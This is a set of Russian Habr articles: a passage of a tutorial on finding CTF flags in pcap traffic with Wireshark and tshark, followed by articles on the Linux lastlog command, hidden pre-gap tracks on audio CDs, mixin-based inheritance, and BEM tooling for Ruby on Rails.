### Инструментарий и методика исследования
Для разбора трафиков будем использовать следующее программное обеспечение:
* [wireshark](https://www.wireshark.org);
* [tshark](https://www.wireshark.org);
Все инструменты не нуждаются в особенно развернутом представлении, так как являются единственными в своем роде бесплатными решениями для работы с трафиком. Первые два `tshark` и `wireshark` вообще предоставляются в составе одного и того же решения. Оба инструмента позволяют выполнять запись и разбор трафика с точки зрения статистики, передаваемых данных и структурах протокола.
Попробуем использовать эти инструменты на записанных сетевых трафиках. Все трафики взяты из различных ресурсов и собраны вот [здесь](https://github.com/sania454/taskHabr), поэтому читатель при желании может самостоятельно провести их анализ по инструкциям из статьи.
*Disclamer: Все файлы трафиков взяты из различных соревнований CTF, все права на задания принадлежат их авторам.*
Для исследования трафиков будем придерживаться минимальной стратегии:
1. Определить количество участников сети;
2. Определить стек используемых протоколов;
3. На основании пункта 2 принять решение искать данные по убыванию популярности использования трафика;
4. Если выясняется, что данные, которые передаются в трафике, не были обработаны дополнительным кодированием, то применять фильтр по тексту.
### Примеры разбора трафика
Первое задание для разбора:
`1.pcap(9cd84b46fee506dae818ecdca76607d1)`. Задача — найти данные, которые будут содержать информацию вида`FLAG-???????????`. Приступим к разбору. Пройдемся по методике, которую описали в прошлом пункте:
Количество участников в сети очень просто определить при помощи WireShark (Всё, что описано для этого инструмента, можно повторить и на `tshark`. Автор использует WireShark для наглядности). В опциях WireShrak выбираем "Statistics->Endpoints":
Итого у нас 8 уникальных IP адресов, которые участвовали во взаимодействии. Определим стек протоколов. Сделать это можно в том же самом меню "Statistics->Protocol Hierarchy":
Итак, самый популярный протокол взаимодействия — http. Этот протокол внутри файла `pcap` хранится в текстовом представлении поэтому можно попробовать показать все данные из `body` пересылаемых данных и отфильтровать данные по формату искомой строки. Попробуем это сделать с помощью `tshark`. Команда для фильтра будет выглядеть так:
```
tshark -r ./1.pcap -Y http -Tfields -e http.file_data | grep "FLAG"
```
В результате получаем результат:
Второй файл для исследования — `2.pcap (9a67e1fb9e529b7acfc6e91db6e1b092)`. Проведем этапы исследования. Количество участников взаимодействия:
В этом случае участников 13 — задание усложняется. Какие протоколы используются:
К сожалению, в этот раз всё не так просто с используемыми протоколами для передачи данных. Среди информации пересылаемой через tcp протокол ничего интересного для нашего задания не встретилось. В udp же попалось кое-что интересное:
```
tshark -r ./2.pcap -Y 'dns'
```
Однако, если обратить внимание на резолв локальных адресов через dns, то мы можем обнаружить вот такую картину:
Странная часть ip адреса, которая очень похожа на какие-то кодированные шестнадцатеричные символы. Попробуем их провести через кодировку:
```
tshark -r ./2.pcap -Y '!icmp.code && dns.qry.name contains 192.168' -Tfields -e
dns.qry.name | tr '.' ' ' |awk '{print $1}' |xxd -r
```
Полученная строка очень похожа на `base64` кодировку, раскодируем:
```
base64 -D <<<
"VGhpcyBpcyBhIHNlY3JldCB0Y3JldCB0cmFuc21pdHRlZCB0aHJvdWdoaHJvdWdoIGRucyBxdWVyeSA6KSBGTEFHKSBGTEFHLUZUNDdjTVgyNnBXeUZTSTZSeUZTSTZSUFdhU3I1WVJ3"
```
В итоге:
В качестве целевого сетевого трафика будем использовать `3.pcap(0e66830db52ad51971d40c77fa5b02c0)`. Проанализируем количество участников взаимодействия и статистику используемых протоколов:
Похоже, что в этот раз протоколов меньше, но вариантов куда спрятать данные — больше. Попробуем отфильтровать данные по протоколу http.
```
tshark -r ./3.pcap -Y http
```
Самые интересные строки находятся в конце записанного трафика, это запросы http к файлам "flag.zip" и "secret.txt". Сдампим их через Wireshark и попробуем открыть:
Попробуем сдампить файл, который называется `flag.zip` через WireShark. Стандартным интерфейсом это сделать не получится, поэтому придется сделать небольшой хак — сохранить данные в Raw формате:
Открываем с уже найденным паролем:
Похоже, что файл поврежден в нем нет части, которая содержит необходимую нам информацию. Спустя время, если отфильтровать по потокам, которые есть в tcp, можно натолкнуться на части фрагменты архивов:
Сохраним дамп этого потока и вырежем с помощью простой программы фрагмент архива:
```
python
data = []
with open('dump') as f:
data = f.read()
with open('tesst.zip','w') as w:
w.write(data[1010788:])
```
Пробуем распаковать:
```
7z x ./test.zip
```
Похоже, что часть данных недоступна, но мы смогли восстановить файл flag.txt
Описанная методика может позволить извлекать информацию из записанных сетевых данных. В качестве закрепления материала, предлагаем читателю найти данные в трафике `4.pcap(604bbac867a6e197972230019fb34b2e)`.
---
> [**Узнать подробнее о курсе**](https://otus.pw/hGTW/) **«Network engineer. Basic».**
>
> [**Зарегистрироваться на вебинар по теме**](https://otus.pw/Lmys/) **«STP. Что? Зачем? Почему?».**
>
>
---
Читать ещё:
-----------
* [**Сокеты в ОС Linux**](https://habr.com/ru/company/otus/blog/539550/)
 | https://habr.com/ru/post/540546/ | null | ru | null |
# Кто же был на сервере?
Наступает момент, когда системному администратору необходимо определить дату последнего входа в систему каждого из пользователей, а также подготовить список тех аккаунтов, которые этого так и не сделали. Если б Вы ранее не знали команду **lastlog**, то удивились бы, насколько легко и быстро она может предоставить Вам эти данные.
Если же Вы все-таки задумались об этом, то не забывайте, что данная команда — это также один из хороших методов проверки безопасности, которую можно проводить на серверах под управлением Linux систем. Она поможет Вам установить потенциальные проблемы. Те аккаунты, которые были неактивны в течение долгого времени, например, может означать, что они больше не нужны и могут быть отключены. А вот аккаунты, которые были активны в то время, когда их пользователи должны были быть в отпуске где-нибудь на Багамах — могут намекать о проблемах с безопасностью на сервере.
Команда **lastlog** хранит информацию о последнем входе пользователя в систему, но он предоставит информацию только по тем логам, которые имеются в файле **wtmp**. Записи в данном файле делаются в двоичном формате, так что просматривать их можно только с помощью специальных команд. Думаю многие из Вас обращали внимание на то, что когда Вы авторизируетесь в консоли, на экране появляется примерно следующее сообщение:
```
Last login: Wed Nov 11 13:19:44 on ttys002
```
Эта строка формируется утилитой **login**, которая после авторизации пользователя обращается к файлу /var/log/lastlog, извлекает оттуда информацию о предыдущем успешном входе, выдает ее на экран, а затем обновляет запись в файле **lastlog**. В отличие от файла /var/log/lastlog, который содержит записи о времени последнего входа в систему каждого пользователя, в файле /var/log/wtmp запоминаются все входы и выходы пользователей в систему с момента создания этого файла.
Что бы посмотреть данные по конкретному пользователю необходимо использовать следующую команду **last xxx**, где **ххх** — логин пользователя. А использование команды сортировки **head** с параметром 5 в свою очередь поможет Вам отобразить на экране только 5 последних результатов:
```
# last | head -5
root pts/0 193.178.187.30 Wed Nov 11 14:21 still logged in
tuto ftpd3292 ::ffff:176.104.0 Wed Nov 11 11:11 - 11:15 (00:04)
tuto ftpd29523 ::ffff:176.104.0 Tue Nov 10 18:58 - 19:03 (00:04)
naturcok ftpd23502 ::ffff:176.104.0 Tue Nov 10 13:55 - 13:55 (00:00)
naturcok ftpd20128 ::ffff:176.104.0 Tue Nov 10 13:50 - 13:55 (00:05)
```
Как “глубоко” Вы можете просмотреть историю последних команд зависит от того как долго существует файл **wtmp**. Например, Вы можете использовать утилиту **logrotate**, которая следит за файлами протоколов и обеспечивает так называемую ротацию этих файлов в случае, если они превысили указанный размер (или по истечению указанного временного интервала). Также она позволяет поддерживать более одного **wtmp** файл и имеет запись в **logrotate.conf** наподобие этой:
```
/var/log/wtmp {
monthly
create 0664 root utmp
minsize 1M
rotate 1
}
```
Даже имея несколько файлов **wtmp**, данные некоторых Ваших пользователей могут просто не отобразиться. Если в результате индивидуальной проверки пользователя Вы никаких данных по нем не получили, то это означает, что записей по конкретному пользователю в файле **wtmp** нет. Чтобы узнать дату создания файла **wtmp**, следует ввести в консоли **last mia**:
```
# last mia
wtmp begins Thu Sep 17 16:10:00 2015
```
Лучшим способом найти информацию о последнем входе в систему для каждого пользователя является использование команды **lastlog**. Если какой-либо из пользователей никогда не авторизировался в системе, то вместо имени терминала и времени последнего входа будет указана строка \*\*Never logged in\*\*. Если результат вывода будет состоять из большого количества строк, то можете использовать еще и команду **more**, которая в отличие от команды **less**, выведет содержимое файла на экран отдельными страницами. Результат будет выглядеть примерно так:
```
# lastlog | more
Username Port From Latest
root pts/0 xxx.xxx.xxx.xxx Wed Nov 11 14:21:59 +0200 2015
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
ispmaster pts/0 xxx.xxx.xxx.xxx Thu Nov 5 17:00:44 +0200 2015
```
Многие из нас возможно будут удивлены, увидев, что bin, daemon, adm и другие служебные учетные записи никогда не авторизировались в системе. Это и в самом деле так, и означает лишь только то, что для оболочек, назначенных в момент регистрации пользователей (login shells), задан параметр /sbin/nologin, что делает авторизацию невозможной. Остальные данные по входам показывают дату и время системы, с которой была осуществлена авторизация.
Чтобы создать список всех учетных записей, которые никогда не входили в систему, стоит использовать следующий набор команд. С командой **lastlog** мы уже знакомы и я на ней подробно останавливаться не буду, дальше стоит добавить утилиту **grep** для поиска по ключевому слову, в нашем случаи это слово **Never**, а для того, чтобы выводился только первый столбец с данными, можно воспользоваться утилитой **awk** со следующим синтаксисом — **'{print $1}'**:
```
# lastlog | grep Never | awk '{print $1}'
bin
daemon
adm
. . .
ntp
user1819
user1939
```
Записи в **lastlog** перечислены согласно идентификаторов пользователей (User identifier — UID) — от суперпользователя (root) до пользователя с самым большим значением UID в Вашем файле /etc/passwd. Это связано с форматом самого файла **lastlog**. В отличие от большинства лог-файл Unix, в файле **lastlog** для записи логов каждого пользователя резервируется отдельное место, и в свою очередь место каждой записи проиндексировано по UID. После этого файлы будут фиксированного размера, особенно если Ваша система имеет аккаунты с наивысшим лимитом своего возможного диапазона UID — такого как 16-битный UID 65536. Также при этом образуется большой объем неиспользуемого пространства, правда только в том случаи если Ваши идентификаторы не являются строго последовательными. Если же Ваша система поддерживает 32-битные UIDы, файл может быть очень большим и иметь 4 294 967 296 (232) различных значений идентификаторов.
Каждая запись в файле **lastlog** содержит имя пользователя, имя терминала, с которого вошел пользователь и время последнего входа в систему. Запись для суперпользователя (UID 0) в верхней части файла может иметь следующий вид:
```
# od -xc /var/log/lastlog | more
0000000 fba3 563d 7470 2f73 0030 0000 0000 0000
243 373 = V p t s / 0 \0 \0 \0 \0 \0 \0 \0
0000020 0000 0000 0000 0000 0000 0000 0000 0000
\0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000040 0000 0000 3138 392e 2e35 3831 2e34 3532
\0 \0 \0 \0 8 1 . 9 5 . 1 8 4 . 2 5
0000060 0034 0000 0000 0000 0000 0000 0000 0000
4 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000100 0000 0000 0000 0000 0000 0000 0000 0000
\0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
```
При выполнении команды **lastlog** на некоторых компьютерах в определенных случаях может возникнуть впечатление, что команда «зависла». Это происходит в силу того, что даже если в системе зарегистрировано всего два пользователя (root и user), в файле /var/log/lastlog все равно отведено место для максимально возможного числа пользователей, которые могут работать в системе. Поэтому в файле /var/log/lastlog могут иметься большие промежутки между номерами идентификаторов работавших в системе пользователей. Поскольку при просмотре таких интервалов программа не выводит информацию на экран, и возникает впечатление «зависания». Потому не спешите нажимать кнопки и закрывать консоль, а дождитесь ответа команды.
Как мы с Вами установили, команда **lastlog** может быть очень полезна для проверки логов тех пользователей, поддержку которых Вы еще осуществляете, чтобы убедиться, что аккаунты в системе используются должным образом и они все еще актуальны. Также не забывайте проверять размер логов, а то может оказаться, что их объем уже значительно превышает общий размер Вашей системы.
Не пренебрегайте в своей работе применять довольно простые команды, и, естественно, используйте место с умом. Удачи! | https://habr.com/ru/post/270687/ | null | ru | null |
# Подарки для внимательных слушателей: какие аудиопасхалки прятали в «pre-gap» на Audio CD
Мы уже [рассказывали](https://www.audiomania.ru/content/art-7079.html) про сюрпризы, которые хранят в себе виниловые пластинки. Это был винил 1901 года, композиции Pink Floyd и The B-52's, небольшие программы и даже оптические эксперименты.
Нам понравился ваш отклик [в комментариях](https://habr.com/ru/company/audiomania/blog/480376/#comments) и мы решили расширить тему. Посмотрим как на винил, так и на другие форматы — и поговорим о новых «пасхалках», скрытых на самых разных альбомах.
[](https://habr.com/ru/company/audiomania/blog/482288/)
*Фото [Cristina Gottardi](https://unsplash.com/photos/SgC49TTVsG8)*
В силу того, что пластинки являются «механическим» форматом, они не позволяют полноценно скрыть треки. Внимательный взгляд легко найдёт дополнительную дорожку, а любопытный слушатель — сразу попытается воспроизвести ее содержимое. Если говорить о компакт-дисках, с их помощью можно вести более тонкую «игру» с поклонниками. Одну из таких методик назвали «**pre-gap**».
Работает она согласно стандарту «выжигания» оцифрованного звука на компакт-диски, который называется «Red Book». Кстати, «Красной книгой» он стал после вхождения в общий свод спецификаций для CD под еще более интересным названием «[Rainbow Books](https://ru.wikipedia.org/wiki/Rainbow_Books)» (*и нам кажется, что эта тема достойна отдельного хабрапоста, как считаете?*). Более того, «Red Book» часто путают с CD-ROM, но на всякий случай стоит уточнить, что это — все-таки CDDA (Compact Disc Digital Audio).
*Фото [Evan](https://flickr.com/photos/thevlue/5529398921/) / [CC BY-ND](https://creativecommons.org/licenses/by-nd/2.0/)*
Итак, «Красная книга» требует, чтобы каждому треку на диске предшествовало как минимум 150 пустых блоков — эта пауза, по спецификации длящаяся порядка двух секунд, числится в «оглавлении» (TOC, Table Of Contents) как нулевой («index 00») индекс этого трека («index 01»). При мастеринге и подготовке альбома к «выжиганию» в эти блоки возможно записать «музыкальные пасхалки».
Пример CUE sheet'а, на котором можно увидеть скрытый трек:
```
PERFORMER "Bloc Party"
TITLE "Silent Alarm"
FILE "Bloc Party - Silent Alarm.flac" WAVE
TRACK 01 AUDIO
TITLE "Like Eating Glass"
PERFORMER "Bloc Party"
> INDEX 00 00:00:00
INDEX 01 03:22:70
TRACK 02 AUDIO
TITLE "Helicopter"
PERFORMER "Bloc Party"
INDEX 00 07:42:69
INDEX 01 07:44:69
```
С другой стороны, прослушать скрытый трек будет не так и просто — стандартный плеер просто не увидит чего-либо необычного или откажется воспроизводить звук с ошибкой, но при проигрывании обычного трека и перемотке (именно «seeking») к его началу спрятанную запись все-таки можно будет услышать. На упрощенной схеме (изображение ниже) она представлена как отсечка «0».
*Изображение [Gerard Fuguet](https://flickr.com/photos/thevlue/5529398921/) / [CC BY](https://creativecommons.org/licenses/by/3.0/)*
Такой прием использовали в разных целях. Например, как дополнительное «интро» к своим работам. Как раз некоторые издания «живого» альбома Rammstein 1999 года [включают](https://en.wikipedia.org/wiki/Live_aus_Berlin) в себя такой pre-gap с ликующей аудиторией на одном из концертов коллектива. Конечно, есть и другие примеры.
Так, на легендарный эмо-альбом «The Devil and the God are Raging Inside Me», известный своим мрачным настроением, Brand New поместили в pre-gap [композицию](https://youtu.be/C0HaKDsdFK8) из наложенных друг на друга телефонных разговоров. А альбом «[Psyence Fiction](https://youtu.be/5eOh9EQltw4?t=220)» британцев Unkle предваряет скрытый микс из композиций, которые вдохновили их на запись пластинки (на видео ниже).
*Внимание: в описании ролика вы найдете полную расшифровку всех использованных в этой композиции сэмплов с указанием авторов, названий оригинальных треков и таймкодами.*
«Pre-gap» можно использовать и для размещения обычных скрытых треков — ремиксов, ауттейков и композиций, которые по той или иной причине не хочется ставить в официальный плейлист альбома.
Так поступает большая часть групп и исполнителей. Например, в юбилейных переизданиях альбомов «Murmur» и «Reckoning» группы R.E.M. спрятаны [аудиоролики](https://www.youtube.com/watch?v=rHf1vvDmr6I), записанные в 80-х для рекламы оригинальной пластинки на радио. Кстати, и сами альбомы 83-го и 84-го года содержат скрытые «untitled» треки. Первый — в виде [небольшого сниппета](https://youtu.be/KlIQjCL1uKg?list=PLv8ZCmeG525Z-52p4HgdIq4N7-uEnfo5X&t=231) между «Shaking Through» и «We Walk», а [второй минитрек](https://youtu.be/BFtpkiNsel4?t=305) — между «Camera» и «(Don't Go Back To) Rockville», но уже на альбоме «Reckoning».
В конце 90-х pre-gap-треки начали помещать в программную часть [Enhanced CD](https://en.wikipedia.org/wiki/Enhanced_CD), но это — уже другая история, к которой мы вернемся в одном из наших следующих материалов на Хабре.
---
**Дополнительное чтение из нашего «Мира Hi-Fi»:**
 [Измеряем количество скрытых ошибок в компакт-диске](https://www.audiomania.ru/content/art-5785.html)
 [Битва за формат: бобина vs кассета vs винил vs CD vs HiRes](https://www.audiomania.ru/content/art-4928.html)
 [8K Blu-ray-диски вряд ли появятся. И вот почему](https://www.audiomania.ru/content/art-7049.html)
 [От компьютерных игр до тайных сообщений: обсуждаем «пасхалки» в виниловых релизах](https://www.audiomania.ru/content/art-7079.html)
 [Выспаться на выходных: как белый шум помогает отдыхать и мониторить качество сна](https://www.audiomania.ru/content/art-6990.html)
--- | https://habr.com/ru/post/482288/ | null | ru | null |
# Чиним наследование?
Сначала здесь было долгое вступление про то, как я додумался до гениальной идеи (шутка, это [миксины в TS/JS](https://www.typescriptlang.org/docs/handbook/mixins.html) и [Policy в C++](https://en.wikipedia.org/wiki/Modern_C%2B%2B_Design#Policy-based_design)), которой и посвящена статья. Не буду тратить ваше время, вот виновник сегодняшнего торжества (осторожно, 5 строчек на JS):
```
function Extends(clazz) {
return class extends clazz {
// ...
}
}
```
Поясню, как это работает. Вместо обычного наследования мы пользуемся механизмом выше. Потом мы указываем базовый класс только при создании объекта:
```
const Class = Extends(Base)
const object = new Class(...args)
```
Я постараюсь убедить вас, что это — сын маминой подруги для наследования классов и способ вернуть наследованию звание труъ-ООП инструмента (сразу после прототипного наследования, конечно).
**Почти не оффтоп**
Я бы даже сделал ЯП с этим приёмом как основной фичей, но, боюсь, этот pet project умрёт, как и другие мои pet project'ы. Так что пусть хотя бы будет статья, чтобы идея пошла в массы.
Условимся насчёт названий: я буду называть такую технику миксином, хотя под этим всё-таки подразумевается [немного другое](https://en.wikipedia.org/wiki/Mixin). До того, как мне подсказали, что это миксины из TS/JS, я использовал название LBC (late-bound classes).
«Проблемы» наследования классов
-------------------------------
Все мы знаем, как «все» «не любят» наследование классов. Какие же у него проблемы? Давайте разберёмся и заодно поймём, как миксины их решают.
### Наследование реализации нарушает инкапсуляцию
Основная задача ООП — связывать вместе данные и операции над ними (инкапсуляция). Когда один класс наследуется от другого, эта связь нарушается: данные оказываются в одном месте (родитель), операции — в другом (наследник). Более того, наследник может перегружать публичный интерфейс класса, так что ни по коду базового класса, ни по коду класса-наследника в отдельности больше нельзя сказать, что будет происходить с состоянием объекта. Т.е., классы оказываются coupled.
Миксины, в свою очередь, сильно снижают coupling: от поведения какого базового класса зависеть наследнику, если базового класса в момент объявления класса-наследника просто нет? Однако, благодаря late-bound this и перегрузке методов, [«Yo-yo problem»](http://neethack.com/2017/04/Why-inheritance-is-bad/) остаётся. Если вы используете наследование в своём дизайне, от неё никуда не деться, но, например, в Котлине ключевые слова `open` и `override` должны сильно облегчать ситуацию (не знаю, не слишком тесно знаком с Котлином).
### Наследование лишних методов
Классический пример со списком и стеком: если наследовать стек от списка, в интерфейс стека попадут методы из интерфейса списка, которые могут нарушить инвариант стека. Не сказал бы, что это проблема наследования, потому что, например, в C++ для этого есть приватное наследование (а отдельные методы можно сделать публичными с помощью `using`), так что это скорее проблема отдельных языков.
### Недостаток гибкости
1. Если мы наследуемся от класса, мы наследуем всю его функциональность: мы не можем унаследовать только его часть. Однако, если вам нужно наследовать только часть класса, пора разбивать базовый класс на два: скорее всего, эта часть слабо связана с остальным поведением класса, так что cohesion только повысится. Опять же, это не проблема наследования как такового.
2. Если в языке нет множественного наследования (и это хорошо), мы не можем наследовать реализацию нескольких классов. Кажется, в таком случае лучше вообще использовать композицию вместо наследования: если вам действительно нужна открытая рекурсия в условиях множественного наследования, мне вас искренне жаль.
3. Использование конкретных классов ограничивает полиморфизм. Если нужно обобщить функцию над каким-то объектом, достаточно заменить тип в сигнатуре функции с класса на интерфейс. Почему нельзя сделать то же самое с наследованием, и обобщить наследуемые характеристики, что миксины и делают? Ведь в каком-то смысле класс — это просто фабрика объектов, т.е. функция.
4. Использование конкретных классов ограничивает переиспользование кода. Если мы хотим добавить какую-нибудь фичу через наследование классов, мы можем добавить её только к какому-то одному базовому классу. С миксинами, очевидно, такой проблемы больше нет.
### Проблема хрупкого базового класса
Если класс наследуется от реализации другого класса, изменение этой реализации может сломать класс-наследник. В [этой статье](https://www.infoworld.com/article/2073649/why-extends-is-evil.html) есть очень хорошая иллюстрация этой проблемы со `Stack` и `MonitorableStack`.
С миксинами же программист обязан учитывать, что класс-наследник, который он пишет, должен работать не только с каким-то конкретным базовым классом, но и с другими классами, отвечающими интерфейсу базового класса.
### Банан, горилла и джунгли
ООП обещает компонируемость, т.е. возможность переиспользовать отдельные классы в разных ситуациях и даже в разных проектах. Однако если класс наследуется от другого класса, чтобы переиспользовать наследника, нужно скопировать все зависимости, базовый класс и все его зависимости, и его базовый класс…. Т.е. хотели банан, а вытащили гориллу, а потом и джунгли. Если объект был создан с учётом Dependency Inversion Principle, с зависимостями всё не так плохо — достаточно скопировать их интерфейсы. Однако с цепочкой наследования так сделать не получится.
Миксины, в свою очередь, делают возможным (и обязывают) использование DIP в отношении наследования.
Прочие приятности Миксинов
--------------------------
На этом плюсы миксинов не заканчиваются. Давайте посмотрим, что ещё можно сделать с их помощью.
### Смерть иерархии наследования
Классы больше не зависят друг от друга: они зависят только от интерфейсов. Т.е. реализация становится листьями графа зависимостей. Это должно облегчить рефакторинг — теперь модель домена не связана с его реализацией.
### Смерть абстрактных классов
Абстрактные классы теперь не нужны. Рассмотрим пример паттерна Фабричный Метод на Java, позаимствованный у [refactoring guru](https://refactoring.guru/ru/design-patterns/factory-method/java/example):
```
interface Button {
void render();
void onClick();
}
abstract class Dialog {
void renderWindow() {
Button okButton = createButton();
okButton.render();
}
abstract Button createButton();
}
```
Да, конечно, Фабричные методы эволюционируют в паттерны Строитель и Стратегия. Но с миксинами можно сделать и так (представим на секунду, что в Java есть first-class миксины):
```
interface Button {
void render();
void onClick();
}
interface ButtonFactory {
Button createButton();
}
class Dialog extends ButtonFactory {
void renderWindow() {
Button okButton = createButton();
okButton.render();
}
}
```
Такой трюк можно провернуть с почти любым абстрактным классом. Пример, когда это не сработает:
```
abstract class Abstract {
void method() {
abstractMethod();
}
abstract void abstractMethod();
}
class Concrete extends Abstract {
private encapsulated = new Encapsulated();
@Override
void method() {
encapsulated.method();
super.method();
}
void abstractMethod() {
encapsulated.otherMethod();
}
}
```
Здесь поле `encapsulated` нужно и в перегрузке `method`, и в реализации `abstractMethod`. То есть, без нарушения инкапсуляции класс `Concrete` нельзя разделить на потомка `Abstract` и на «суперкласс» `Abstract`. Но я не уверен, что это — пример хорошего дизайна.
### Гибкость, сравнимая с типажами
Внимательный читатель заметит, что всё это очень похоже на типажи из Smalltalk / Rust. Отличий два:
1. Экземпляры миксинов могут содержать данные, которых не было в базовом классе;
2. Миксины не модифицируют класс, от которого наследуются: чтобы использовать функциональность миксины, нужно явно создать объект миксина, а не базового класса.
Второе отличие приводит к тому, что, скажем так, миксины действуют локально, в отличие от типажей, действующих на все экземпляры базового класса. Насколько это удобно — зависит от программиста и от проекта, не стану утверждать, что моё решение однозначно лучше.
Эти отличия приближают миксины к обычному наследованию, так что эта штука мне представляется забавным компромиссом между наследованием и типажами.
Минусы миксинов
---------------
Ох, если бы всё было так просто. У миксинов точно есть одна небольшая проблема и один жирный минус.
### Взрыв интерфейсов
Если наследоваться можно только от интерфейса, очевидно, интерфейсов в проекте станет больше. Конечно, если в проекте соблюдается DIP, ещё несколько интерфейсов погоды не сделают, но далеко не все следуют SOLID. Эту проблему можно решить, если на основе каждого класса будет генерироваться интерфейс, содержащий все публичные методы, и при упоминании имени класса различать, имеется в виду класс как фабрика объектов или как интерфейс. Что-то похожее сделано в TypeScript, но там почему-то в сгенерированном интерфейсе упомянуты и приватные поля и методы.
### Сложные конструкторы
Если использовать миксины, самой сложной задачей станет создать объект. Рассмотрим два варианта в зависимости от того, включен ли конструктор в интерфейс базового класса:
1. Если конструктор не включён в интерфейс, мы не можем его перегружать, только расширять. Например, при использовании в базовом классе паттерна Стратегия мы не сможем в классе-наследнике подменить стратегию своим Декоратором. Тем более не понятно, в каком порядке нужно будет передавать аргументы в конструктор.
2. Если конструктор включён в интерфейс, мы рискуем сильно ограничить множество подходящих базовых классов. Например:
```
interface Base {
new(values: Array)
}
class Subclass extends Base {
// ...
}
class DoesntFit {
new(values: Array, mode: Mode) {
// ...
}
}
```
Класс `DoesntFit` не подходит в качестве базового для `Subclass`, но два аргумента его конструктора не связаны каким-то инвариантом. Так что `Subclass` можно было бы использовать в качестве наследника `DoesntFit`, не будь интерфейс `Base` таким ограниченным.
3. На самом деле, есть ещё один вариант — передавать в конструктор не список аргументов, а словарь. Это решает проблему выше, потому что `{ values: Array, mode: Mode }` очевидно подходит под шаблон `{ values: Array }`, но это приводит к непредсказуемой коллизии имён в таком словаре: например, и суперкласс `A`, и наследник `B` используют одинаково называющиеся параметры, но это имя не указано в интерфейсе базового класса для `B`.
Вместо заключения
-----------------
Я уверен, что пропустил какие-то аспекты этой идеи. Либо то, что это уже дикий баян и лет двадцать назад был язык, использующий эту идею. В любом случае, жду вас в комментариях!
Список источников
-----------------
[neethack.com/2017/04/Why-inheritance-is-bad](http://neethack.com/2017/04/Why-inheritance-is-bad/)
[www.infoworld.com/article/2073649/why-extends-is-evil.html](https://www.infoworld.com/article/2073649/why-extends-is-evil.html)
[www.yegor256.com/2016/09/13/inheritance-is-procedural.html](https://www.yegor256.com/2016/09/13/inheritance-is-procedural.html)
[refactoring.guru/ru/design-patterns/factory-method/java/example](https://refactoring.guru/ru/design-patterns/factory-method/java/example)
[scg.unibe.ch/archive/papers/Scha03aTraits.pdf](http://scg.unibe.ch/archive/papers/Scha03aTraits.pdf) | https://habr.com/ru/post/521866/ | null | ru | null |
# БЭМ on Rails
Здравствуй, <%= habrauser %>!
Я очень люблю фреймворк Ruby On Rails, он правда очень и очень крут. Он позволяет в кратчайшие сроки реализовать твои замыслы. Раньше я много писал на нем, но сегодня я front-end разработчик. Когда я узнал о методологии БЭМ, я был в полном восторге, потому что так или иначе ты сам приходишь к чему-то подобному. Хорошо, когда дзен-процесс сокращается в разы. О том, что такое БЭМ можно прочитать [тут](http://bem.info) и [тут](http://habrahabr.ru/post/162385/). Недавно прошедший [BEMup](http://ru.bem.info/blog/2013/08/bemup-talks/) окончательно расставил все на свои места. Мне были просто необходимы инструменты для работы с БЭМ в рамках проектов на Ruby on Rails. Конкретных решений не существовало, а bem-tools не подходит по вполне понятным причинам, описанным ниже. Я решил написать bem-tools на Ruby.
#### Зачем?
Некогда многие высказывали мысль о том как использовать БЭМ в рельсах, но кроме того как правильно именовать классы в css, я ничего полезного не узнал. Тем более писать такие классы ручками совсем не хочется. Конкретных инструментов предложено не было. А БЭМ это не только css и яваскрипт. Мне хотелось иметь внутри рельс нечто подобное шаблонизатору BEMHTML. Чтобы его использовать можно было бы подключить в рельсы V8 и компилировать шаблоны. Но тогда от рельс мало чего остается и это далеко не Ruby way. Я привык писать шаблоны на HAML и использовать препроцессор SASS. Я очень не хотел, чтобы использование БЭМ в рельсах привносило бы серьезные трудности для понимания и заставляло разработчиков совершать непривычные для них действия. Кроме того в рельсах есть pipeline, который собирает и компилирует ассеты, значит пол работы уже сделано. После долгих размышлений сложились четкие требования к тому что необходимо иметь в виде инструментов:
1. Одна директория с блоками для всех проектов на Ruby on Rails. В идеале — не только RoR.
2. Рендеринг блоков и элементов во вьюхах.
3. Удобное создание/удаление/просмотр блоков/элементов/модификаторов.
4. Интеграция с pipeline.
5. Максимальное сходство с bem-tools.
##### Почему не bem-tools
Во-первых, используя в rails приложении bem-tools вы получаете некую штуку сбоку, которая никак вам не подчиняется, вы же не яваскрипт разработчик? Во-вторых, bem-tools тянет за собой еще добрую кучку инструментов через npm, что вам не подвластно. А у рельсового разработчика есть bundler и Gemfile. Зачем мне нужны еще пакетные менеджеры? Используя bundler я всегда могу создавать гемсеты для разных проектов привычным для себя способом. Все зависимости идут вместе с проектом в привычном виде. Ничего дополнительно не нужно. Я устанавливаю гем и у меня все работатет. Никаких дополнительных директорий в корне проекта, кроме самой библиотеки блоков. В-третьих, процесс сборки в рельсах несколько иной, он уже реализован и менять его не хотелось бы. Можно было бы использовать bem-tools только для работы с файловой системой, но это не отменило бы написания самостоятельного кода для рендеринга. Кроме того не получилось бы использовать для паршелов шаблоны. Об описанных инструментах вполне можно думать как о способе организации паршелов в rails приложении.
#### Как?
##### Создание/Удаление/Просмотр
Для того чтобы создавать/удалять/просматривать блоки я написал некоторое количество Thor задач. Еще мне показалось, что было бы полезно иметь возможность распределять блоки по группам. Не ручками, а из консоли, и рендерить потом блоки из нужной группы:
```
thor bem:create -b filter -G search
```
И теперь создавать блоки/элементы/модификаторы можно так, причем модификаторы могут быть как со значениями так и без:
```
thor bem:create -b test
thor bem:create -b test -e icon
thor bem:create -b test -m large
thor bem:create -b test -m color -v red
thor bem:create -b test -e icon -m file
thor bem:create -b test -e icon -m size -v small
thor bem:create -b test -e icon -m size -v small -T sass
```
Удаление происходит аналогично:
```
thor bem:remove -b test
...
```
Просмотр существующих блоков:
```
thor bem:list
thor bem:list -G search
thor bem:list -b test
...
```
Для себя я решил немного изменить файловую структуру блока. Я решил вынести элементы блока в директорию /elements, а модификаторы в /mods. Мне показалось это более удобным, чем держать все в одной директории. Вернуться назад можно в любой момент. Сейчас директория с блоками автоматически создается в корне rails приложения и выглядит примерно так:
**Файловая структура****blocks**
* **block\_name**
+ **elements**
- **\_\_element\_name**
* \_\_element\_name.html.haml
* \_\_element\_name.css.sass
* \_\_element\_name.coffee
* \_\_element\_name.md
+ **mods**
- **\_mod\_name**
* \_mod\_name.css.sass
* \_mod\_name.coffee
* \_mod\_name.md
+ block\_name.html.haml
+ block\_name.css.sass
+ block\_name.coffee
+ block\_name.md
* **group\_name**
+ **block\_name**
